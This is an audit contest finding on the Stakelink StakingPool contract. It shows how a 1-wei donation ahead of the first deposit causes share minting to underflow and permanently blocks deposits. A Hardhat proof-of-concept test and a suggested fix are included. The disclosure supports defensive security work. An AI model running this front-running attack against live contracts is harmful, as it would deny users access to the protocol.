Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: medium
Valid

Griefer can permanently DOS all the deposits to the `StakingPool`

Summary

Griefer can DOS the whole StakingPool by donating tokens before the first actual deposit comes in. After that, it's not possible for any deposits transactions to complete.

Vulnerability Details

In the StakingPool contract there is a deposit function that increases the totalStaked variable:

function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}

Increasing the totalStaked variable before any deposits/shares get minted, results in the getSharesByStake function to always return 0:

function getSharesByStake(uint256 _amount) public view returns (uint256) {
uint256 totalStaked = _totalStaked();
if (totalStaked == 0) {
return _amount;
} else {
return (_amount * totalShares) / totalStaked;
}
}

As we can see, totalStaked == donation > 0 and totalShares == 0 since no shares have been minted yet. Any _amount * 0 will return 0. This function is used during the deposit process.

StakingPool.sol
function deposit(address _account, uint256 _amount, bytes[] calldata _data) external onlyPriorityPool {
require(strategies.length > 0, "Must be > 0 strategies to stake");
uint256 startingBalance = token.balanceOf(address(this));
if (_amount > 0) {
token.safeTransferFrom(msg.sender, address(this), _amount);
_depositLiquidity(_data);
@> _mint(_account, _amount);
totalStaked += _amount;
} else {
_depositLiquidity(_data);
}
uint256 endingBalance = token.balanceOf(address(this));
if (endingBalance > startingBalance && endingBalance > unusedDepositLimit) {
revert InvalidDeposit();
}
}
StakingRewardsPool.sol
function _mint(address _recipient, uint256 _amount) internal override {
@> uint256 sharesToMint = getSharesByStake(_amount);
_mintShares(_recipient, sharesToMint);
emit Transfer(address(0), _recipient, _amount);
}
function _mintShares(address _recipient, uint256 _amount) internal {
require(_recipient != address(0), "Mint to the zero address");
@> if (totalShares == 0) {
shares[address(0)] = DEAD_SHARES;
totalShares = DEAD_SHARES;
_amount -= DEAD_SHARES;
}
totalShares += _amount;
shares[_recipient] += _amount;
}

In the _mint function, the getSharesByStake will return 0, so _mintShares will get called with _amount == 0. Since, there hasn't been any deposits yet and totalShares == 0, it will go inside the if statement and try to _amount -= DEAD_SHARES where DEAD_SHARES = 10 ** 3 constant. This will always revert with an underflow error.

Impact

Permanent Denial of Service (DOS) of all deposits into the protocol. Renders the whole protocol useless since there can't be any deposits. Attacker can simply frontrun the first deposit transaction to donate just 1 wei and DOS the protocol.

Coded Proof of Concept

Create a new tests.test.ts file in the test/core/priorityPool folder and paste the following code:

import { assert, expect } from 'chai'
import {
toEther,
deploy,
fromEther,
deployUpgradeable,
getAccounts,
setupToken,
} from '../../utils/helpers'
import {
ERC677,
SDLPoolMock,
StakingPool,
PriorityPool,
StrategyMock,
WithdrawalPool,
} from '../../../typechain-types'
import { ethers } from 'hardhat'
import { StandardMerkleTree } from '@openzeppelin/merkle-tree'
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers'
describe('PriorityPool', () => {
async function deployFixture() {
const { accounts, signers } = await getAccounts()
const adrs: any = {}
const token = (await deploy('contracts/core/tokens/base/ERC677.sol:ERC677', [
'Chainlink',
'LINK',
1000000000,
])) as ERC677
adrs.token = await token.getAddress()
await setupToken(token, accounts, true)
const stakingPool = (await deployUpgradeable('StakingPool', [
adrs.token,
'Staked LINK',
'stLINK',
[],
toEther(10000),
])) as StakingPool
adrs.stakingPool = await stakingPool.getAddress()
const strategy = (await deployUpgradeable('StrategyMock', [
adrs.token,
adrs.stakingPool,
toEther(1000),
toEther(100),
])) as StrategyMock
adrs.strategy = await strategy.getAddress()
const sdlPool = (await deploy('SDLPoolMock')) as SDLPoolMock
adrs.sdlPool = await sdlPool.getAddress()
const pp = (await deployUpgradeable('PriorityPool', [
adrs.token,
adrs.stakingPool,
adrs.sdlPool,
toEther(100),
toEther(1000),
])) as PriorityPool
adrs.pp = await pp.getAddress()
const withdrawalPool = (await deployUpgradeable('WithdrawalPool', [
adrs.token,
adrs.stakingPool,
adrs.pp,
toEther(10),
0,
])) as WithdrawalPool
adrs.withdrawalPool = await withdrawalPool.getAddress()
await stakingPool.addStrategy(adrs.strategy)
await stakingPool.setPriorityPool(adrs.pp)
await stakingPool.setRebaseController(accounts[0])
await pp.setDistributionOracle(accounts[0])
await pp.setWithdrawalPool(adrs.withdrawalPool)
for (let i = 0; i < signers.length; i++) {
await token.connect(signers[i]).approve(adrs.pp, ethers.MaxUint256)
}
return { signers, accounts, adrs, token, stakingPool, strategy, sdlPool, pp, withdrawalPool }
}
it('donating dos deposits', async () => {
const { signers, accounts, adrs, pp, token, strategy, stakingPool } = await loadFixture(
deployFixture
)
await token.connect(signers[1]).approve(adrs.stakingPool, 1)
await stakingPool.connect(signers[1]).donateTokens(1)
// https://docs.soliditylang.org/en/v0.8.14/control-structures.html#panic-via-assert-and-error-via-require
// Panic code 0x11: If an arithmetic operation results in underflow or overflow outside of an unchecked { ... } block.
await expect(pp.connect(signers[1]).deposit(toEther(500), true, ['0x'])).to.be.revertedWithPanic(0x11)
})
})

Tools Used

Manual Review

Recommendations

Don't allow donations if the totalStaked == 0

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

donateTokens() allows a malicious user to manipulate the system in such a way that users may receive 0 shares.

Appeal created

kalogerone Auditor
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
kalogerone Auditor
about 1 year ago
dimah7 Judge
about 1 year ago
demorextess Judge
about 1 year ago
inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

donateTokens() allows a malicious user to manipulate the system in such a way that users may receive 0 shares.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.